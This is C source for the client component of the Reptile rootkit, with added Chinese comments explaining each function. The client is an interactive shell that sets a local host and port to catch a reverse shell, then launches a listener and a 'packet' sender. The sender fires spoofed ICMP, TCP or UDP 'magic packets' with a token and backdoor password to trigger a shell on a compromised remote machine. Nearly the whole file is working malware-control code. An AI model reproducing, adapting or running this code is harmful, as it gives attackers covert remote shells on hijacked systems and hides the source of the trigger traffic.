#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>
#include <signal.h>
#include <readline/readline.h>
#include <readline/history.h>

#include "util.h"

pid_t pid;// 声明变量用于存储进程ID、监听器和数据包
char *listener, *packet; //

char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost",  // 定义参数名称数组，用于配置工具的参数
		   "rport", "prot",  "pass",    "token"};

char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// 定义参数名称的大写版本数组，用于匹配用户输入
		      "RPORT", "PROT",  "PASS",    "TOKEN"};

char *description[] = {"Local host to receive the shell",// 定义参数描述数组，用于在帮助信息中解释每个参数的作用
		       "Local port to receive the shell",
		       "Source host on magic packets (spoof)",
		       "Source port on magic packets (only for TCP/UDP)",
		       "Remote host",
		       "Remote port (only for TCP/UDP)",
		       "Protocol to send magic packet (ICMP/TCP/UDP)",
		       "Backdoor password (optional)",
		       "Token to trigger the shell"};

int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); }
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// 定义参数值数组，用于存储用户设置的参数值

int help(char **args);
int __exit(char **args);
int set(char **args);
int unset(char **args);
int show(char **args);
int run(char **args);
int export(char **args);
int load(char **args);		//客户端操作

char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // 定义内置命令数组和对应的函数指针数组
int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit};

int num_builtins()
// 定义函数返回内置命令的数量
{ return sizeof(builtin_str) / sizeof(char *); }

int launch(char **args) 
// 定义函数用于启动外部程序
{
	pid_t pid;
	int status;

	pid = fork();
	if (pid == 0) {
		if (execvp(args[0], args) == -1) {
			perror("execvp");
		}
		exit(EXIT_FAILURE);
	} else if (pid < 0) {
		perror("fork");
	} else {
		do {
			waitpid(pid, &status, WUNTRACED);
		} while (!WIFEXITED(status) && !WIFSIGNALED(status));
	}

	return 1;
}

void help_set() //help解释其他命令
{
	fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]);
	fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
}

void help_unset()
// 定义帮助函数，用于解释如何使用set命令
{
	fprintf(stdout, "%s <variable>\n", builtin_str[2]);
	fprintf(stdout, "Example: unset RHOST\n");
}

void help_conf(int i)// 定义帮助函数，用于解释如何使用配置文件相关的命令
{
	fprintf(stdout, "%s <file>\n", builtin_str[i]);
	fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]);
}

void no_help()// 定义函数，当命令不需要帮助信息时调用
{
	fprintf(stdout, "This command doesn't need help\n");
}

int help(char **args)// 定义help函数，用于显示帮助信息
{
	if (args[0] == NULL)
		return 1;

	if (args[1] != NULL) {
		if (strcmp(args[1], builtin_str[0]) == 0) {
			no_help();
		} else if (strcmp(args[1], builtin_str[1]) == 0) {
			help_set();
		} else if (strcmp(args[1], builtin_str[2]) == 0) {
			help_unset();
		} else if (strcmp(args[1], builtin_str[3]) == 0) {
			no_help();
		} else if (strcmp(args[1], builtin_str[4]) == 0) {
			no_help();
		} else if (strcmp(args[1], builtin_str[5]) == 0) {
			help_conf(5);
		} else if (strcmp(args[1], builtin_str[6]) == 0) {
			help_conf(6);
		} else if (strcmp(args[1], builtin_str[7]) == 0) {
			no_help();
		} else {
			fprintf(stdout, "This command is not valid!\n");
		}
	} else {
		fprintf(stdout, "\n\e[01;36mReptile Client\e[00m\n");
		fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
		fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]);
		fprintf(stdout, "\t%s\t\tSet value to a variable\n", builtin_str[1]);
		fprintf(stdout, "\t%s\t\tUnset value to a variable\n", builtin_str[2]);
		fprintf(stdout, "\t%s\t\tShow the current configuration\n", builtin_str[3]);
		fprintf(stdout, "\t%s\t\tRun the listener and send the magic packet\n", builtin_str[4]);
		fprintf(stdout, "\t%s\t\tExport a configuration to a file\n", builtin_str[5]);
		fprintf(stdout, "\t%s\t\tLoad a configuration from a file\n", builtin_str[6]);
		fprintf(stdout, "\t%s\t\tExit this shell\n\n", builtin_str[7]);
		fprintf(stdout, "Type: \"help <command>\" to see specific help\n");
	}

	fprintf(stdout, "\n");
	return 1;
}

int __exit(char **args)// 定义__exit函数，用于退出程序并释放资源
{
	int i;

	if (args[0] == NULL)
		return 1;

	for (i = 0; i < num_variables; i++) {
		if (var_array[i])
			free(var_array[i]);

		var_array[i] = NULL;
	}

	if (listener)
		free(listener);

	if (packet)
		free(packet);

	fprintf(stdout, "\n");
	return 0;
}

int set(char **args)// 定义set函数，用于设置参数值
{
	int i;

	if (args[0] == NULL)
		return 1;

	if (args[1] == NULL || args[2] == NULL) {
		fprintf(stdout, "%s wrong syntax!\n", bad);
		return 1;
	}

	for (i = 0; i < num_variables; i++) {
		if (strcmp(args[1], var_str[i]) == 0 ||
		    strcmp(args[1], var_str_up[i]) == 0) {
			if (var_array[i])
				free(var_array[i]);

			var_array[i] = strdup(args[2]);
			fprintf(stdout, "%s %s -> %s\n", good, args[1],
				args[2]);
			return 1;
		}
	}

	fprintf(stdout, "%s wrong parameter!\n", bad);
	return 1;
}

// unset函数用于取消设置某个参数的值
int unset(char** args) {
	int i;

	// 如果没有提供参数，返回错误代码1
	if (args[0] == NULL)
		return 1;

	// 如果没有提供要取消设置的参数名，打印错误信息并返回错误代码1
	if (args[1] == NULL) {
		fprintf(stdout, "%s wrong syntax!\n", bad);
		return 1;
	}

	// 遍历所有参数，查找是否匹配用户提供的参数名
	for (i = 0; i < num_variables; i++) {
		if (strcmp(args[1], var_str[i]) == 0 ||
			strcmp(args[1], var_str_up[i]) == 0) {
			// 如果找到匹配的参数名，释放之前存储的值，并将其设置为NULL
			if (var_array[i])
				free(var_array[i]);

			var_array[i] = NULL;
			fprintf(stdout, "%s %s -> UNSET\n", good, args[1]);
			return 1;
		}
	}

	// 如果没有找到匹配的参数名，打印错误信息
	fprintf(stdout, "%s wrong parameter!\n", bad);
	return 1;
}

// show函数用于显示当前所有参数的值和描述
int show(char** args) {
	int i;

	// 如果没有提供参数，返回错误代码1
	if (args[0] == NULL)
		return 1;

	// 打印表头
	fprintf(stdout, "\n");
	fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n");

	// 遍历所有参数，打印其值和描述
	for (i = 0; i < num_variables; i++) {
		if (var_array[i]) {
			// 根据值的长度，调整输出格式，以保持对齐
			if (strlen(var_array[i]) >= 8) {
				fprintf(stdout, "%s\t\t%s\t\t%s\n",
					var_str_up[i], var_array[i], description[i]);
			}
			else if (strlen(var_array[i]) >= 16) {
				fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i],
					var_array[i], description[i]);
			}
			else {
				fprintf(stdout, "%s\t\t%s\t\t\t%s\n",
					var_str_up[i], var_array[i], description[i]);
			}
		}
		else {
			// 如果参数没有被设置，打印空值
			fprintf(stdout, "%s\t\t      \t\t\t%s\n", var_str_up[i],
				description[i]);
		}
	}

	// 打印换行符
	fprintf(stdout, "\n");
	return 1;
}

// interrupt函数用于处理程序接收到中断信号时的行为
void interrupt(int signal) {
	// 打印中断信息
	fprintf(stdout, "\r");
	fflush(stdout);
	fprintf(stdout, "%s Interrupted: %d\n", warn, signal);
}

// run函数用于运行配置好的工具
int run(char** args) {
	pid_t pid, pid2;
	int status;

	// 如果没有提供参数，返回错误代码1
	if (args[0] == NULL)
		return 1;

	// 检查必要的参数是否已经被设置
	// ...

	// 构建用于启动监听器和数据包发送器的参数数组
	char* arg_listener[] = { listener,     "-p", var_array[1], "-s",
							var_array[7], NULL, NULL };

	char* arg_packet[] = { packet,       "-t", var_array[4], "-x",
						  var_array[6], "-s", var_array[2], "-l",
						  var_array[0], "-p", var_array[1], "-k",
						  var_array[8], "-q", var_array[3], "-r",
						  var_array[5], NULL, NULL };

	// 创建子进程
	pid = fork();

	// 如果fork失败，打印错误信息并退出
	if (pid == -1)
		fatal("on forking proccess");

	// 父进程等待子进程结束
	if (pid > 0) {
		signal(SIGTERM, interrupt);
		signal(SIGINT, interrupt);

		do {
			waitpid(pid, &status, WUNTRACED);
		} while (!WIFEXITED(status) && !WIFSIGNALED(status));
	}

	// 子进程执行具体的启动逻辑
	if (pid == 0) {
		// 创建另一个子进程
		pid2 = fork();

		// 如果fork失败，打印错误信息并退出
		if (pid2 == -1)
			fatal("on forking proccess");

		// 第二个子进程启动监听器
		if (pid2 > 0) {
			// 根据配置决定是否传递某些参数
			if (var_array[7] == NULL) {
				arg_listener[3] = NULL;
				arg_listener[4] = NULL;
			}
			if (execvp(arg_listener[0], arg_listener) == -1)
				fprintf(stderr, "%s listener could not be launched\n", bad);
		}

		// 第三个子进程发送数据包
		if (pid2 == 0) {
			// 根据协议类型调整参数
			if (strcmp(var_array[6], "icmp") == 0 ||
				strcmp(var_array[6], "ICMP") == 0) {
				arg_packet[13] = NULL;
				arg_packet[14] = NULL;
				arg_packet[15] = NULL;
				arg_packet[16] = NULL;
			}
			usleep(100 * 1500);

			if (execvp(arg_packet[0], arg_packet) == -1) {
				fprintf(stderr, "%s packet could not be launched\n", bad);
				kill(pid2, SIGINT);
			}
		}
	}

	return 1;
}

// export函数用于将当前配置导出到文件
int export(char** args) {
	int vars;
	FILE* confile;

	// 如果没有提供参数，返回错误代码1
	if (args[0] == NULL)
		return 1;

	// 如果没有提供文件名，打印错误信息并返回错误代码1
	if (args[1] == NULL) {
		fprintf(stdout, "%s wrong syntax!\n", bad);
		return 1;
	}

	// 尝试打开文件，如果失败，打印错误信息并返回错误代码1
	if (!(confile = fopen(args[1], "w+"))) {
		fprintf(stderr, "%s Cannot open config file\n", bad);
		return 1;
	}

	// 将所有参数的值写入文件
	for (vars = 0; vars < 9; vars++)
		fprintf(confile, "%s\n", var_array[vars]);

	// 关闭文件并打印成功信息
	fclose(confile);
	fprintf(stdout, "%s Configuration exported\n", good);
	return 1;
}

// load函数用于从文件加载配置
int load(char** args) {
	int vars;
	FILE* confile;

	// 如果没有提供参数，返回错误代码1
	if (args[0] == NULL)
		return 1;

	// 如果没有提供文件名，打印错误信息并返回错误代码1
	if (args[1] == NULL) {
		fprintf(stdout, "%s wrong syntax!\n", bad);
		return 1;
	}

	// 尝试打开文件，如果失败，打印错误信息并返回错误代码1
	if (!(confile = fopen(args[1], "r+"))) {
		fprintf(stderr, "%s Cannot open config file\n", bad);
		return 1;
	}

	// 从文件中读取参数值，并存储到var_array中
	for (vars = 0; vars < 9; vars++) {
		char arg[50] = { 0 };
		fgets(arg, 50, confile);

		if (strcmp(arg, "(null)\n")) {
			arg[strlen(arg) - 1] = '\0';
			var_array[vars] = strdup(arg);
		}
	}

	// 关闭文件并打印成功信息
	fclose(confile);
	fprintf(stdout, "%s Configuration loaded\n", good);
	return 1;
}

// execute函数用于执行内置命令或启动外部程序
int execute(char** args) {
	int i;

	// 如果没有提供参数，返回错误代码1
	if (args[0] == NULL)
		return 1;

	// 遍历所有内置命令，查找匹配的命令并执行
	for (i = 0; i < num_builtins(); i++) {
		if (strcmp(args[0], builtin_str[i]) == 0)
			return (*builtin_func[i])(args);
	}

	// 如果没有找到匹配的内置命令，尝试启动外部程序
	return launch(args);
}

// read_line函数用于读取用户输入的一行命令
char* read_line(void) {
	int bufsize = RL_BUFSIZE;
	int position = 0;
	char* buffer = malloc(sizeof(char) * bufsize);
	int c;

	// 如果内存分配失败，打印错误信息并退出
	if (!buffer) {
		fprintf(stderr, "reptile: allocation error\n");
		exit(EXIT_FAILURE);
	}

	// 循环读取用户输入，直到换行符
	while (1) {
		c = getchar();

		if (c == EOF) {
			free(buffer);
			exit(EXIT_SUCCESS);
		}
		else if (c == '\n') {
			buffer[position] = '\0';
			return buffer;
		}
		else {
			buffer[position] = c;
		}
		position++;

		// 如果超出缓冲区大小，扩大缓冲区
		if (position >= bufsize) {
			bufsize += RL_BUFSIZE;
			char* buffer_backup = buffer;
			if ((buffer = realloc(buffer, bufsize)) == NULL) {
				free(buffer_backup);
				fprintf(stderr, "reptile: allocation error\n");
				exit(EXIT_FAILURE);
			}
		}
	}
}

// parse函数用于解析用户输入的命令行，将其分割为参数数组
char** parse(char* line) {
	int bufsize = TOK_BUFSIZE, position = 0;
	char** tokens = malloc(bufsize * sizeof(char*));
	char* token, ** tokens_backup;

	// 如果内存分配失败，打印错误信息并退出
	if (!tokens) {
		fprintf(stderr, "reptile: allocation error\n");
		exit(EXIT_FAILURE);
	}

	// 使用strtok函数分割命令行
	token = strtok(line, TOK_DELIM);
	while (token != NULL) {
		tokens[position] = token;
		position++;

		// 如果超出缓冲区大小，扩大缓冲区
		if (position >= bufsize) {
			bufsize += TOK_BUFSIZE;
			tokens_backup = tokens;
			tokens = realloc(tokens, bufsize * sizeof(char*));
			if (!tokens) {
				free(tokens_backup);
				fprintf(stderr, "reptile: allocation error\n");
				exit(EXIT_FAILURE);
			}
		}

		token = strtok(NULL, TOK_DELIM);
	}
	tokens[position] = NULL;
	return tokens;
}

// client_loop函数用于进入命令行循环，等待用户输入命令
void client_loop() {
	char* line;
	char** args;
	int status;

	// 循环等待用户输入命令
	do {
		line = readline("\e[00;31mreptile-client> \e[00m");
		add_history(line);

		args = parse(line);
		status = execute(args);

		free(line);
		free(args);
	} while (status);

	clear_history();
}

// main函数是程序的入口点
int main() {
	int len;
	char* pwd = get_current_dir_name();

	// 清屏并打印欢迎信息
	system("clear");
	printf("\n\e[01;36mReptile Client\e[00m\n");
	printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n");
	banner2();
	printf("\n");

	// 获取当前工作目录，并为监听器和数据包程序分配内存
	len = strlen(pwd);

	listener = (char*)malloc(len + 10);

	// 如果内存分配失败，打印错误信息并退出
	if (!listener)
		fatal("malloc");

	packet = (char*)malloc(len + 8);

	if (!packet) {
		free(listener);
		fatal("malloc");
	}

	// 初始化监听器和数据包程序的路径
	bzero(listener, len + 10);
	bzero(packet, len + 8);

	strcpy(listener, pwd);
	strcat(listener, "/listener");

	strcpy(packet, pwd);
	strcat(packet, "/packet");

	// 创建子进程
	pid = fork();

	// 如果fork失败，打印错误信息并退出
	if (pid == -1)
		fatal("on forking proccess");

	// 父进程进入命令行循环
	if (pid > 0)
		client_loop();

	// 子进程执行后台任务（这部分代码被注释掉了）

	return EXIT_SUCCESS;
}
//客服端实现，写了一个简易shell，包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit")
//help打印其他命令使用方法
//exit退出
//set设置变量值，需要两个参数，参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", 不区分大小写)，参数二为该参数的值，其值存储在var_array中
